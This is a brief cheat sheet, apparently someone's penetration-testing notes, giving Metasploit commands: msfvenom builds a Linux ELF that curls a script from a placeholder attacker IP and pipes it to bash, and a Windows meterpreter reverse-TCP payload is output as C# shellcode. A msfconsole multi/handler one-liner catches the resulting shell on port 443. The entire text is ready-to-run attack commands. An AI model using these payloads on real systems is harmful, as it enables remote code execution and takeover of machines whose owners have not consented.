msf

Linux payloads

With commands

msfvenom -p linux/x64/exec CMD='echo I love programming. && curl http://YOUR_IP/shell.php | bash' -f elf -o shellme.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp > payload.c

Catch with

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc thread; exploit -j"